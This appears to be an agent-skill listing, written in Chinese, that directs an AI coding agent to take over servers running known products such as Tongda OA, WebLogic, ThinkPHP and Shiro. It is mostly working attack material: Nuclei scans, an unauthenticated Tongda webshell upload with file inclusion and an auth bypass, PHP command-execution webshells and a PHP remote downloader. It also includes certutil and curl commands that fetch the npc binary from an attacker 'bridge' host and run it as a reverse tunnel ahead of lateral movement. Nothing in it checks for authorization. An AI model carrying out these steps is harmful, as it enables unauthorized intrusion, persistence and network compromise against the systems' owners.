# Known Product Exploit

> 通用已知产品/框架漏洞利用专项技能。适用于 fscan/Nuclei/Wappalyzer 识别出目标运行已知产品（OA系统、CMS、中间件、框架）后的标准利用流程。 核心原则：已知产品必须 Nuclei 先行，不走盲测渗透。覆盖 Nuclei 精准扫描、模板分析、手工验证、环境诊断、命令执行方式选择、NPS 收口。 触发场景：fscan 或手工识别出目标为已知产品（通达OA/致远OA/用友NC/泛微OA/WordPress/Drupal/Tomcat/WebLogic/Shiro/Spring/ThinkPHP/Laravel/ phpMyAdmin/Confluence/GitLab/Jenkins 等）时必须优先使用本技能。

- Skill: `m-sec-org/known-product-exploit` (Agent Skill)
- Install (CLI): `npx skillmds@latest add m-sec-org/known-product-exploit`
- Raw SKILL.md: https://api.skillmd.com/api/skills/m-sec-org/known-product-exploit/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: m-sec-org (https://skillmd.com/u/m-sec-org)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/m-sec-org/known-product-exploit

---


# Known Product Exploit

你处理的是"目标运行已知产品，如何用最短路径获取 RCE"这个问题。

**核心原则：已知产品不走盲测渗透，必须 Nuclei 先行。** 因为已知产品的漏洞已经被安全社区大量研究，手工黑盒发现漏洞的效率远低于直接用 Nuclei 匹配已知 CVE/PoC。

---

## Phase 0: 产品识别

通过以下方式确认目标运行的产品：

```bash
# 方式1：fscan 指纹（在侦察阶段已获得）
# 关注 fscan 输出中的 [WebTitle] 和 [InfoScan] 行

# 方式2：HTTP 响应指纹
curl -sI http://<target>/ | grep -iE 'Server:|X-Powered|Set-Cookie|X-OA|X-Generator'
curl -s http://<target>/ | grep -iE 'title|generator|powered.by|copyright|<meta'

# 方式3：特征路径探测
curl -s http://<target>/favicon.ico -o /tmp/fav.ico && md5sum /tmp/fav.ico
curl -s http://<target>/robots.txt
```

**常见产品指纹速查**：

| 产品 | 指纹特征 |
|------|----------|
| 通达OA | `Office Anywhere`、`/ispirit/`、`PHPSESSID` |
| 致远OA | `Seeyon`、`/seeyon/`、`A8` |
| 用友NC | `/NCCloud/`、`/servlet/`、`yonyou` |
| 泛微OA | `ecology`、`/weaver/`、`e-cology` |
| Shiro | `rememberMe=deleteMe` (Set-Cookie) |
| Spring Boot | `/actuator`、`Whitelabel Error Page` |
| ThinkPHP | `thinkphp`、`/index.php/` |
| WebLogic | `:7001`、`/console`、`Oracle WebLogic` |
| Tomcat | `/manager/html`、`Apache Tomcat` |
| Jenkins | `/jenkins/`、`X-Jenkins` |

## Phase 1: Nuclei 精准扫描（必须步骤）

**铁律：识别出已知产品后，必须立即 Nuclei 扫描，不得跳过直接手工测试。**

```bash
# 通用模板（按产品标签 + 严重级别过滤）
nuclei -u http://<target> -tags <product_tag> -severity critical,high -timeout 10

# 如果标签不确定，用宽泛扫描
nuclei -u http://<target> -severity critical,high -timeout 10

# 常用产品标签
# 通达OA: tongda,oa    致远OA: seeyon    用友NC: yonyou,nc
# 泛微: ecology,weaver  Shiro: shiro      Spring: spring,springboot
# ThinkPHP: thinkphp    WebLogic: weblogic Tomcat: tomcat
# Jenkins: jenkins      Confluence: confluence  GitLab: gitlab
```

**Nuclei 输出解读**：
- `[critical]` / `[high]` + `RCE` / `file-upload` / `code-injection` → 高价值目标，立即跟进
- `[info]` / `[medium]` → 辅助信息，暂不花时间

## Phase 2: 模板分析 + 手工验证

Nuclei 命中后，**必须手工验证，不得直接当成已拿权限**：

```bash
# 1. 读取命中模板的完整 YAML
find /root/nuclei-templates -name '<template_id>.yaml' -exec cat {} \;
# 或
rg -l '<template_id>' /root/nuclei-templates/ | head -1 | xargs cat

# 2. 分析模板中的请求路径、payload、匹配条件
# 重点关注: matchers 里的 status/body/header 条件

# 3. 用 curl 手工复现
curl -s -X POST http://<target>/<path_from_template> \
  -H 'Content-Type: ...' \
  -d '<payload_from_template>'

# 4. 判定：真实可利用 or 模板误报
```

**验证优先级**：
1. **文件上传类 RCE** — 最优先，直接获取 webshell
2. **命令注入/代码执行** — 次优先，可直接执行系统命令
3. **反序列化 RCE** — 需要额外工具（ysoserial 等），但一旦成功即获取稳定执行
4. **SSRF/文件读取** — 辅助类，用于获取配置/凭据辅助后续利用

## Phase 3: 环境诊断（必须步骤）

获取代码执行能力后，**第一个落地的必须是诊断页/诊断命令**，不得直接假设执行环境：

### PHP 环境（OA/CMS 类常见）

```php
<?php
echo "DIAG_START\n";
echo "php_ver: ".phpversion()."\n";
echo "os: ".PHP_OS."\n";
echo "disable_functions: ".ini_get("disable_functions")."\n";
echo "open_basedir: ".ini_get("open_basedir")."\n";
echo "com_loaded: ".(class_exists("COM")?"yes":"no")."\n";
foreach(['system','exec','passthru','shell_exec','popen','proc_open'] as $f){
    echo $f."=".(function_exists($f)?"yes":"no")." ";
}
echo "\nDIAG_END";
?>
```

### Java 环境（WebLogic/Tomcat/Spring/Jenkins 等）

反序列化或表达式注入拿到执行后，先确认：
```
whoami && id && uname -a    (Linux)
whoami && systeminfo         (Windows)
```

### 根据诊断选择执行方式

| 诊断结果 | 执行方式 |
|----------|----------|
| PHP: `system` 可用 | `system($_POST['cmd'].' 2>&1')` |
| PHP: `system` 禁 + COM 可用 | `new COM("WScript.Shell")->Exec("cmd /c ".$cmd)` |
| PHP: 全禁 | 纯 PHP 文件操作 (`file_get_contents` 下载 npc) |
| Java/命令注入: 有稳定命令执行 | 直接下载 npc 并启动 |

## Phase 4: NPS 收口

命令执行确认后，立即部署 NPS，不要继续优化 webshell：

### Windows

```bash
# 优先：NPS 文件下发（通过上游跳板或 Bridge 端口）
# 备选：certutil 下载
C:\Windows\System32\certutil.exe -urlcache -split -f http://<bridge>:44944/files/nps/npc_windows_amd64.exe C:\Users\Public\npc.exe
C:\Windows\System32\wbem\wmic.exe process call create "C:\Users\Public\npc.exe -server=<bridge>:8024 -vkey=auto"
```

### Linux

```bash
curl -o /tmp/npc http://<bridge>:44944/files/nps/npc_linux_amd64 && chmod +x /tmp/npc
setsid /tmp/npc -server=<bridge>:8024 -vkey=auto > /tmp/npc.log 2>&1 &
```

### 命令执行不稳定时，退回 PHP 文件下载器

```php
<?php
$u=$_POST['url']; $p=$_POST['path'];
$d=@file_get_contents($u);
echo "fetch_len=".strlen($d)."\n";
$w=@file_put_contents($p,$d);
echo "write_ret=".$w."\n";
echo "exists=".(file_exists($p)?"yes":"no")."\n";
if(file_exists($p)) echo "size=".filesize($p)."\n";
?>
```

---

## 产品速查手册

### 通达OA（v11.x / v2017）

```bash
# Nuclei
nuclei -u http://<target> -tags tongda,oa -severity critical,high

# 手工利用优先链：
# 1. action_upload（无需认证上传）
curl -s -X POST http://<target>/ispirit/im/upload_action.php \
  -F "UPLOAD_MODE=2" -F "P=1" -F "DEST_UID=1" -F "ATTACHMENT=@shell.php"
# 2. 提取 ATTACHMENT_NAME，通过 gateway 包含
curl -s -X POST http://<target>/ispirit/interface/gateway.php \
  -d 'json={"url":"/general/../../attach/im/<year>/<month>/<day>/<ATTACHMENT_NAME>"}'
# 3. Auth-bypass + 文件包含
curl -s http://<target>/logincheck_code.php -d 'CODEUID=&UID=1'
```

### Shiro

```bash
nuclei -u http://<target> -tags shiro -severity critical,high
# 手工：检测 rememberMe，使用 shiro_tool/ShiroExploit 测试密钥+利用链
```

### Spring Boot

```bash
nuclei -u http://<target> -tags spring,springboot -severity critical,high
# 手工：Spring4Shell (CVE-2022-22965)、SpEL 注入、Actuator 未授权
```

### ThinkPHP

```bash
nuclei -u http://<target> -tags thinkphp -severity critical,high
# 手工：5.x RCE (s=index/think\app/invokefunction)
```

### WebLogic

```bash
nuclei -u http://<target>:7001 -tags weblogic -severity critical,high
# 手工：CVE-2019-2725、CVE-2020-14882（Console未授权+RCE）
```

---

## 必须避免的坑

1. **不要跳过 Nuclei 直接手工渗透** — 已知产品的漏洞 Nuclei 有现成模板，手工黑盒效率极低。
2. **不要不诊断就部署 system() webshell** — 很多产品禁用了命令执行函数，直接用会静默失败。
3. **不要把 Nuclei 扫描结果当成已拿权限** — 必须手工验证复现。
4. **不要在拿到 whoami 后继续换 webshell** — 立即转 NPS 收口。
5. **不要用双引号包裹含 `$` 的 PHP 代码写入 bash** — 调用 `php-payload-builder` skill。

## 与其他 skill 的关系

- PHP payload 构造细节 → 调用 `php-payload-builder`
- Windows/Linux 命令执行规范 → 调用 `remote-cmd-execution`
- NPS 隧道管理 → 调用 `nps-operator`
- 上线后内网横向 → 回到 `intranet-pentest`

